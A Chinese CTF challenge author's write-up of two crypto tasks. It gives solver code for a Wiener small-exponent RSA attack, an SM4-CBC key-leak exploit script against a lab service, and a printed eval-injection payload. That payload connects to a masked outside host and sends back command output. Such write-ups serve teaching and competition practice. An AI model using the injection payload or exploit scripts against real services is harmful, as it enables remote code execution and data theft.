这次西湖论剑有幸出了两个密码题,这边主要从出题的角度分享下如何去出题以及求解的一些思考。
首先讲下为啥我会出这个题。我一般出题都是基于一个知识点作拓展。
在日常接触CTF题中,接触到一些题型的附件给出的并非纯密码学的数值,会有RSA的公私钥文件这种。一般入门级别的解决方案是,使用RSA加解密的在线网站做解析,这个方法emmm,存在的问题比较多,也很不方便。然后常规一些的解决方案是,使用OpenSSL做这个事情,openssl集成了很不错的证书解析、证书格式转换、证书加解密一类的功能,基本上是可以做到解题中的所有事情了。但是,这个时候,毕竟CTF的核心信仰还是使用exp解决一切问题,在求解上更优雅,于是就开始抛弃openssl,使用python的Cypher库去做这些事情。
然后遇到了一个小问题,也成了出这道题目的其中一个小知识点。因为我在RSA私钥的导出过程中,使用常规的参数赋值的方法去初始化失败,然后去寻找的解决。
主要还是因为临危受命~~(恰烂钱)~~,领导的任务罢了。那就找个知识点结合下呗,想着RSA要不结合着填充规则来上几个知识点,这倒是少见。填充规则选的最常见的PKCS1_OAEP,然后怼着python的Crypto.Cipher库中的PKCS1_OAEP模块一顿分析。
当时应该是想结合Rabin算法的知识点来出题的,这样就需要自己去理解PKCS1_OAEP填充规则。但是最后自己也没有研究出来(一天时间比较紧)。然后就选了比较方便出题的低解密指数攻击,rsa wiener attack的基础求解。
于是这个题目的名称就来了,备份了一份python的PublicKey库,然后开始怼着RSA模块和它涉及到的相关模块改。令私钥d是在(0,n^0.32)之间的一个质数,满足Boneh and Durfee attack和Wiener’s Attack的条件。这边就算顺利实现一份存在缺陷的加密系统了,定义为黑客入侵修改加密系统达成不安全的信息传输这么一个事件。
然后在后来自己写exp脚本的时候发现,低解密指数攻击是求解私钥d的。但是我们因为填充规则的原因,无法直接去求解明文。于是用到了模数分解的知识点,nice~!
生成公钥文件
from Crypto.PublicKey import RSA
rsa = RSA.generate(2048)
public_key = rsa.publickey().exportKey()
f=open("public.key","w")
f.write(public_key.decode())
f.close()
导出RSA私钥文件
from Crypto.PublicKey import RSA
rsa_components=(n,e,d,p,q)
arsa=RSA.construct(rsa_components)
arsa.exportKey()
这边使用RSA的construct函数传入一个元组型的参数即可,顺序为rsa的公钥n、公钥e、私钥d、因子p和q。
rsa公钥解析
from Crypto.PublicKey import RSA
rsakey=RSA.importKey(open("public.key","r").read())
n=rsakey.n
e=rsakey.e
print(n,e)
rsa私钥解析
from Crypto.PublicKey import RSA
rsakey=RSA.importKey(open("pri.key","r").read())
d=rsakey.d
print(d)
这边取什么参数直接从这个rsakey对象里面取就行了。
这是CTF中常见的一种攻击了。表现形式就是公钥e很大,本质是私钥d很小。
github上有开源的攻击代码 https://github.com/pablocelayes/rsa-wiener-attack
def rational_to_contfrac (x, y): ''' Converts a rational x/y fraction into a list of partial quotients [a0, ..., an] ''' a = x//y if a * y == x: return [a] else: pquotients = rational_to_contfrac(y, x - a * y) pquotients.insert(0, a) return pquotients def convergents_from_contfrac(frac): ''' computes the list of convergents using the list of partial quotients ''' convs = []; for i in range(len(frac)): convs.append(contfrac_to_rational(frac[0:i])) return convs def contfrac_to_rational (frac): '''Converts a finite continued fraction [a0, ..., an] to an x/y rational. ''' if len(frac) == 0: return (0,1) elif len(frac) == 1: return (frac[0], 1) else: remainder = frac[1:len(frac)] (num, denom) = contfrac_to_rational(remainder) # fraction is now frac[0] + 1/(num/denom), which is # frac[0] + denom/num. return (frac[0] * num + denom, num) def egcd(a,b): ''' Extended Euclidean Algorithm returns x, y, gcd(a,b) such that ax + by = gcd(a,b) ''' u, u1 = 1, 0 v, v1 = 0, 1 while b: q = a // b u, u1 = u1, u - q * u1 v, v1 = v1, v - q * v1 a, b = b, a - q * b return u, v, a def gcd(a,b): ''' 2.8 times faster than egcd(a,b)[2] ''' a,b=(b,a) if a<b else (a,b) while b: a,b=b,a%b return a def modInverse(e,n): ''' d such that de = 1 (mod n) e must be coprime to n this is assumed to be true ''' return egcd(e,n)[0]%n def totient(p,q): ''' Calculates the totient of pq ''' return (p-1)*(q-1) def bitlength(x): ''' Calculates the bitlength of x ''' assert x >= 0 n = 0 while x > 0: n = n+1 x = x>>1 return n def isqrt(n): ''' Calculates the integer square root for arbitrary large nonnegative integers ''' if n < 0: raise ValueError('square root not defined for negative numbers') if n == 0: return 0 a, b = divmod(bitlength(n), 2) x = 2**(a+b) while True: y = (x + n//x)//2 if y >= x: return x x = y def is_perfect_square(n): ''' If n is a perfect square it returns sqrt(n), otherwise returns -1 ''' h = n & 0xF; #last hexadecimal "digit" if h > 9: return -1 # return immediately in 6 cases out of 16. # Take advantage of Boolean short-circuit evaluation if ( h != 2 and h != 3 and h != 5 and h != 6 and h != 7 and h != 8 ): # take square root if you must t = isqrt(n) if t*t == n: return t else: return -1 return -1 def hack_RSA(e,n): frac = rational_to_contfrac(e, n) convergents = convergents_from_contfrac(frac) for (k,d) in convergents: #check if d is actually the key if k!=0 and (e*d-1)%k == 0: phi = (e*d-1)//k s = n - phi + 1 # check if the equation x^2 - s*x + n = 0 # has integer roots discr = s*s - 4*n if(discr>=0): t = is_perfect_square(discr) if t!=-1 and (s+t)%2==0: print("\nHacked!") return d def main(): n = 9247606623523847772698953161616455664821867183571218056970099751301682205123115716089486799837447397925308887976775994817175994945760278197527909621793469 e = 27587468384672288862881213094354358587433516035212531881921186101712498639965289973292625430363076074737388345935775494312333025500409503290686394032069 d=hack_RSA(e,n) print ("d=") print (d) if __name__ == '__main__': main()
私钥d的获取是通过
d = gmpy2.invert(e, (p-1)*(q-1))
根据私钥d和公钥n、e分解pq
import random def gcd(a, b): if a < b: a, b = b, a while b != 0: temp = a % b a = b b = temp return a def getpq(n,e,d): p = 1 q = 1 while p==1 and q==1: k = d * e - 1 g = random.randint ( 0 , n ) while p==1 and q==1 and k % 2 == 0: k /= 2 y = pow(g,k,n) if y!=1 and gcd(y-1,n)>1: p = gcd(y-1,n) q = n/p return p,q
加密
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
flag="flag{test}"
rsakey=RSA.importKey(open("public.key","r").read())
rsa = PKCS1_OAEP.new(rsakey)
msg=rsa.encrypt(flag.encode())
f=open("message","wb")
f.write(msg)
f.close()
解密
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
f=open("message","rb")
rsakey = RSA.importKey(open("pri.key","r").read())
rsakey = PKCS1_OAEP.new(rsakey)
decrypted = rsakey.decrypt(f.read())
print(decrypted)
from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP import os import gmpy2 from Crypto.Util.number import * import random import sys def getpq(n,e,d): p = 1 q = 1 while p==1 and q==1: k = d * e - 1 g = random.randint ( 0 , n ) while p==1 and q==1 and k % 2 == 0: k //= 2 y = pow(g,k,n) if y!=1 and gmpy2.gcd(y-1,n)>1: p = gmpy2.gcd(y-1,n) q = n//p return p,q #导入公钥,解析n、e rsakey=RSA.importKey(open("public.key","r").read()) n=rsakey.n e=rsakey.e print(n,e) #使用rsa-wiener-attack得到私钥d d=hack_RSA(e,n) print ("d=") print (d) #模数分解得到n的两个因子 p,q=getpq(n,e,d) f=open("message","rb") #生成并导入私钥 rsa_components=(n,e,int(d),p,q) arsa=RSA.construct(rsa_components) rsakey = RSA.importKey(arsa.exportKey()) #PKCS1_OAEP模式解密 rsakey = PKCS1_OAEP.new(rsakey) decrypted = rsakey.decrypt(f.read()) print(decrypted)
rsa wiener attack这部分前边自取吧。
这题主要是想着结合下国密算法出个题,因为现在涉及到国密算法的题还是很少。简单看了下sm2的基于ECC的公钥加密、sm3的杂凑、sm4的对称加密。决定不折磨自己,选个对称加密吧。然后使用sm4加个cbc模式就开始了系统交互上的编写。也算是不愧对这个题目了,写了个非预期出来。。。
用到交互嘛,来个CTF界惯例,写个pow共识机制。pow本质是区块链的东西Proof of Work,为啥现在密码题很多都有这个呢,这就不得而知了。
反正应该是可以用这个拦住新手玩家了。这个完全可以存一套交互脚本,复用率还是挺高的。
#POW共识机制 def proof_of_work(self): random.seed(os.urandom(8)) last_proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)]) last_hash = self.hash(last_proof) self.request.send((("sha256(XXXX+%s) == %s\n" % (last_proof[4:],last_hash))).encode()) self.request.send('Give me XXXX:'.encode()) xxxx=self.request.recv(10).decode().strip("\n") if len(xxxx) != 4 or not self.valid_proof(xxxx,last_proof,last_hash): return False return True
本质就是去爆破前四位拿到相同的sha256结果。
上个通用的求解
def pass_POW(io): rec = io.recvline().decode() table = string.ascii_letters + string.digits suffix = re.findall(r'\(XXXX\+(.*?)\)', rec)[0] last_hash = re.findall(r'== (.*?)\n', rec)[0] print("suffix : %s , last_hash : %s"%(suffix,last_hash)) for i in product(table, repeat=4): prefix = ''.join(i) guess = prefix + suffix if sha256(guess.encode()).hexdigest() == last_hash: # print(guess) break print("predix XXXX is %s"%prefix) io.sendafter(b'Give me XXXX:', prefix.encode()) return
sm4其实和aes或者des这种分组加密类似,这边没有在它的加解密上做改动。只是加了一个cbc模式,就是每一个分组的密钥去异或上前一个分组的加密结果,作为新的一个分组的加密密钥。
def encrypt_cbc(self,Plaintext,Key): mk=bytes_to_long(Key) Plaintext_bytes=binascii.hexlify(bytes(Plaintext.encode('utf-8'))) Plaintext_str = str(Plaintext_bytes)[2:-1] iv=mk if len(Plaintext_str)%32!=0: Plaintext_str+=hex((32-len(Plaintext_str)%32)//2)[2:].zfill(2)*((32-len(Plaintext_str)%32)//2) Ciphertext='' for i in range(0,len(Plaintext_str),32): tmp=eval('0x'+Plaintext_str[i:i+32])^iv res=self.encrypt(long_to_bytes(tmp),mk) Ciphertext+=self.list_to_hex(res) iv=eval('0x'+self.list_to_hex(res)) return Ciphertext
正是因为这个eval,当时用的时候觉得eval这个函数"针不错",于是埋下了伏笔。
给个cbc的解密
def decrypt_cbc(self,Ciphertext,Key): #首先处理一下密文,根据md5加密特性,选择md5处理 mk=bytes_to_long(Key) if len(Ciphertext)%32 != 0 : return '这不是一个规范的密文!!!' iv=mk #初始变量这里等于密匙了,也可以自定义 Plaintext=b''#明文 for i in range(0,len(Ciphertext),32): tmp=eval('0x'+Ciphertext[i:i+32]) res=eval('0x'+self.list_to_hex(self.decrypt(long_to_bytes(tmp),mk)))^iv Plaintext+=long_to_bytes(res) iv=tmp return Plaintext
结合给出的附件分析。
def handle(self): self.key=os.urandom(16) self.c="" menu = ''' 1. Dragon King 2. encryption 3. decryption 4. getflag 5. exit
首先是这边。这边在交互时,会生成一个16位的key,这个key用于本次交互所有的加解密。
然后看到加密部分
def encryption(self,message): sm = sm4_encryption(self.key) sm.__key__expand__() en_message=sm.encrypt_cbc(message,self.key) self.c=en_message return en_message
这边在使用sm4的cbc模式的时候,传入的key和iv都为这个16位的key。
也就是说,如果我们可以泄露这个key。也就可以去求解加密的flag了。
这边题目给附件的时候是只给了加密模块的实现的,所以我们需要先推测出解密的流程。解密流程为sm4解密再异或上iv。根据这个加密我们推测出,如果只有一个分组的情况下,可以通过已知明文去求解key,直接看效果图吧。
于是我们利用这个去泄露key后,求解flag的密文得到明文flag即可。
埋下的伏笔终究还是来了。
if choice=="3": self.request.send("please input iv to decrypt:".encode()) iv=self.recvline(BUFSIZE) #iv=long_to_bytes(eval('0x'+iv)) iv=long_to_bytes(int(iv,16)) message=self.decryption(iv) self.request.send("Is this your message?~:".encode()+hex(bytes_to_long(message))[2:].encode()) continue
看到被注释的那一行,是原本的题目。让你用eval。。写着写着都忘了这个是开放出去交互的。。这边在解密那边可以直接通过这个eval getshell。
payload
1 if exec('import socket,subprocess,os;s=s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("**.***.***.**",1234));s.send(__import__("os").popen("id").read().encode())') else 2
能说啥嘞,长太息以掩涕兮。
#!/usr/bin/env python # -*- coding:utf-8 -*- import os import re from itertools import product from hashlib import sha256 from pwn import * import string from Crypto.Util.number import * class sm4_decryption: # 固定参数 CK = [0x00070F15,0x1c232a31,0x383f464d,0x545b6269, 0x70777e85,0x8c939aa1,0xa8afb6bd,0xc4cbd2d9, 0xe0e7eef5,0xfc030a11,0x181f262d,0x343b4249, 0x50575e65,0x6c737a81,0x888f969d,0xa4abb2b9, 0xc0c7ced5,0xdce3eaf1,0xf8ff060d,0x141b2229, 0x30373e45,0x4c535a61,0x686f767d,0x848b9299, 0xa0a7aeb5,0xbcc3cad1,0xd8dfe6ed,0xf4fb0209, 0x10171e25,0x2c333a41,0x484f565d,0x646b7279] # 常数 FK = [0xa3b1bac6,0x56aa3350,0x677d9197,0xb27022dc] # S盒 SboxTable = [ 0xd6, 0x90, 0xe9, 0xfe, 0xcc, 0xe1, 0x3d, 0xb7, 0x16, 0xb6, 0x14, 0xc2, 0x28, 0xfb, 0x2c, 0x05, 0x2b, 0x67, 0x9a, 0x76, 0x2a, 0xbe, 0x04, 0xc3, 0xaa, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99, 0x9c, 0x42, 0x50, 0xf4, 0x91, 0xef, 0x98, 0x7a, 0x33, 0x54, 0x0b, 0x43, 0xed, 0xcf, 0xac, 0x62, 0xe4, 0xb3, 0x1c, 0xa9, 0xc9, 0x08, 0xe8, 0x95, 0x80, 0xdf, 0x94, 0xfa, 0x75, 0x8f, 0x3f, 0xa6, 0x47, 0x07, 0xa7, 0xfc, 0xf3, 0x73, 0x17, 0xba, 0x83, 0x59, 0x3c, 0x19, 0xe6, 0x85, 0x4f, 0xa8, 0x68, 0x6b, 0x81, 0xb2, 0x71, 0x64, 0xda, 0x8b, 0xf8, 0xeb, 0x0f, 0x4b, 0x70, 0x56, 0x9d, 0x35, 0x1e, 0x24, 0x0e, 0x5e, 0x63, 0x58, 0xd1, 0xa2, 0x25, 0x22, 0x7c, 0x3b, 0x01, 0x21, 0x78, 0x87, 0xd4, 0x00, 0x46, 0x57, 0x9f, 0xd3, 0x27, 0x52, 0x4c, 0x36, 0x02, 0xe7, 0xa0, 0xc4, 0xc8, 0x9e, 0xea, 0xbf, 0x8a, 0xd2, 0x40, 0xc7, 0x38, 0xb5, 0xa3, 0xf7, 0xf2, 0xce, 0xf9, 0x61, 0x15, 0xa1, 0xe0, 0xae, 0x5d, 0xa4, 0x9b, 0x34, 0x1a, 0x55, 0xad, 0x93, 0x32, 0x30, 0xf5, 0x8c, 0xb1, 0xe3, 0x1d, 0xf6, 0xe2, 0x2e, 0x82, 0x66, 0xca, 0x60, 0xc0, 0x29, 0x23, 0xab, 0x0d, 0x53, 0x4e, 0x6f, 0xd5, 0xdb, 0x37, 0x45, 0xde, 0xfd, 0x8e, 0x2f, 0x03, 0xff, 0x6a, 0x72, 0x6d, 0x6c, 0x5b, 0x51, 0x8d, 0x1b, 0xaf, 0x92, 0xbb, 0xdd, 0xbc, 0x7f, 0x11, 0xd9, 0x5c, 0x41, 0x1f, 0x10, 0x5a, 0xd8, 0x0a, 0xc1, 0x31, 0x88, 0xa5, 0xcd, 0x7b, 0xbd, 0x2d, 0x74, 0xd0, 0x12, 0xb8, 0xe5, 0xb4, 0xb0, 0x89, 0x69, 0x97, 0x4a, 0x0c, 0x96, 0x77, 0x7e, 0x65, 0xb9, 0xf1, 0x09, 0xc5, 0x6e, 0xc6, 0x84, 0x18, 0xf0, 0x7d, 0xec, 0x3a, 0xdc, 0x4d, 0x20, 0x79, 0xee, 0x5f, 0x3e, 0xd7, 0xcb, 0x39, 0x48] # 拓展密钥 K = [] MK = [] # 密钥 key = 0 X = [] Y = [] # 数据流 txtstream = [] # 文件缺失长度 lenth = 0 def __init__(self,key): self.key = key pass #第一步 #密钥生成 #经过拓展,rk0=K4,rk1=K5,以此类推 def __key__expand__(self): for i in range(0,13,4): self.MK.append(self.__union__hex__(self.key[i:i+4])) for i in range(4): self.K.append(self.MK[i] ^ self.FK[i]) for i in range(32): a = self.K[i+1] ^ self.K[i+2] ^ self.K[i+3] ^ self.getCK(i) b = self.__apart__hex__(a) c = [self.getSbox(i) for i in b] d = self.__union__hex__(c) e = d ^ (d <<13) ^ (d << 23) self.K.append(self.K[i] ^ e) #将在4个32位数据合并一个128位数据 def __union__hex__(self,data): return int((data[0] << 24) | (data[1] << 16) | (data[2] << 8) | (data[3])) #将一个128位数据拆开位4个32位数据 def __apart__hex__(self,data): return [int((data >> 24) & 0xff), int((data >> 16) & 0xff), int((data >> 8) & 0xff), int((data) & 0xff)] #获取S盒的元素 def getSbox(self,i): return self.SboxTable[i] #获取固定参数 def getCK(self,i): return self.CK[i] def decrypt(self,bits,mk): self.X = [] self.Y = [] for p in range(0, len(bits), 16): #密文分组 plaintxt = bits[p:p+16] self.X = [] for i in range(0,13,4): self.X.append(self.__union__hex__(plaintxt[i:i+4])) j = 35 #求明文/密文 for i in range(0,32): a = self.X[i+1] ^ self.X[i+2] ^ self.X[i+3] ^ self.K[j] j = j - 1 b = self.__apart__hex__(a) c = [self.getSbox(i) for i in b] d = self.__union__hex__(c) e = d ^ (d << 2) ^ (d << 10) ^ (d << 18) ^ (d << 24) self.X.append(self.X[i] ^ e) # 明文/密文逆序 t = self.X[35] self.X[35] = self.X[32] self.X[32] = t t =self.X[34] self.X[34] = self.X[33] self.X[33] = t # 明文/密文储存 for i in range(32,36): self.Y.append(self.X[i]) byte=[] for i in self.Y: a = self.__apart__hex__(i) for j in a: byte.append(j) return byte def decrypt_cbc(self,Ciphertext,Key): mk=bytes_to_long(Key) if len(Ciphertext)%32 != 0 : return '这不是一个规范的密文!!!' iv=mk #初始变量这里等于密匙了,也可以自定义 Plaintext=b''#明文 for i in range(0,len(Ciphertext),32): tmp=eval('0x'+Ciphertext[i:i+32]) res=eval('0x'+self.list_to_hex(self.decrypt(long_to_bytes(tmp),mk)))^iv Plaintext+=long_to_bytes(res) iv=tmp return Plaintext def list_to_hex(self,arr): hex_re="" for i in arr: hex_re+=hex(i)[2:].zfill(2) return hex_re def pass_POW(io): rec = io.recvline().decode() table = string.ascii_letters + string.digits suffix = re.findall(r'\(XXXX\+(.*?)\)', rec)[0] last_hash = re.findall(r'== (.*?)\n', rec)[0] print("suffix : %s , last_hash : %s"%(suffix,last_hash)) for i in product(table, repeat=4): prefix = ''.join(i) guess = prefix + suffix if sha256(guess.encode()).hexdigest() == last_hash: # print(guess) break print("predix XXXX is %s"%prefix) io.sendafter(b'Give me XXXX:', prefix.encode()) return def getkey(io): io.sendafter(b'5. exit\n', "2".encode()) message="flag"*4 #输入加密消息为flagflagflagflag io.sendafter(b'What message do you want to encrypt:', message.encode()) #去decryption泄露key io.sendafter(b'5. exit\n', "3".encode()) io.sendafter(b'please input iv to decrypt:', hex(bytes_to_long(message.encode()))[2:]) rec = io.recvline().decode() key=re.findall(r'\:(.*?)\n', rec)[0] #check一下获取得到的key是否正确 io.sendafter(b'5. exit\n', "3".encode()) io.sendafter(b'please input iv to decrypt:', key) rec = io.recvline().decode() m=re.findall(r'\:(.*?)\n', rec)[0] print(long_to_bytes(int(m,16))) return key def decrypto_flag(io,key): #获取加密的flag io.sendafter(b'5. exit\n', "4".encode()) rec = io.recvline().decode() flag_en=re.findall(r'\:(.*?)\n', rec)[0] print("flag_en is :%s"%flag_en) sm = sm4_decryption(key) sm.__key__expand__() flag=sm.decrypt_cbc(flag_en,key) return flag if __name__ == '__main__': add = "192.168.153.129" port = 9999 sh = remote(add,port) pass_POW(sh) key_hex=getkey(sh) print("key_hex is : %s"%(key_hex)) flag=decrypto_flag(sh,long_to_bytes(int(key_hex,16))) print("flag is : %s"%flag) sh.interactive()
其实一直在思考,什么样的题才是好题。看着越来越多的paper题,逐渐迷茫了。出题以难为目的导向,用些进阶的知识点好吗,其实真挺好。引导性的去学很多东西。但是对于我这种业余玩家来说,逐渐乏力了。
从CTF竞赛的角度去思考,竞赛的意义在于筛选或者培养更多的网安人才,更多从攻防的角度在提供现实环境的思考。所以web、pwn、re的意义明显是可见的。甚至misc的流量分析和内存取证这一块,都存在其实际价值和意义。但是实际生产环境中对密码学部分的思考,可能并不是大多数人会接触到的。
随着赛事的发展,相关模块涉及知识点的进阶。把控各个模块在一次竞赛中的比重其实是很有意义的,那么如何设置难度系数的逐级上升的题目,以更好满足大部分选手的竞技体验成了我们需要面对的。期待网安领域CTF竞赛更好的明天~!
by 滴滴蓝军实习生 Lemn Chai
[安恒网络空间安全学院公众号](《CTF小白的密码系统》解题思路)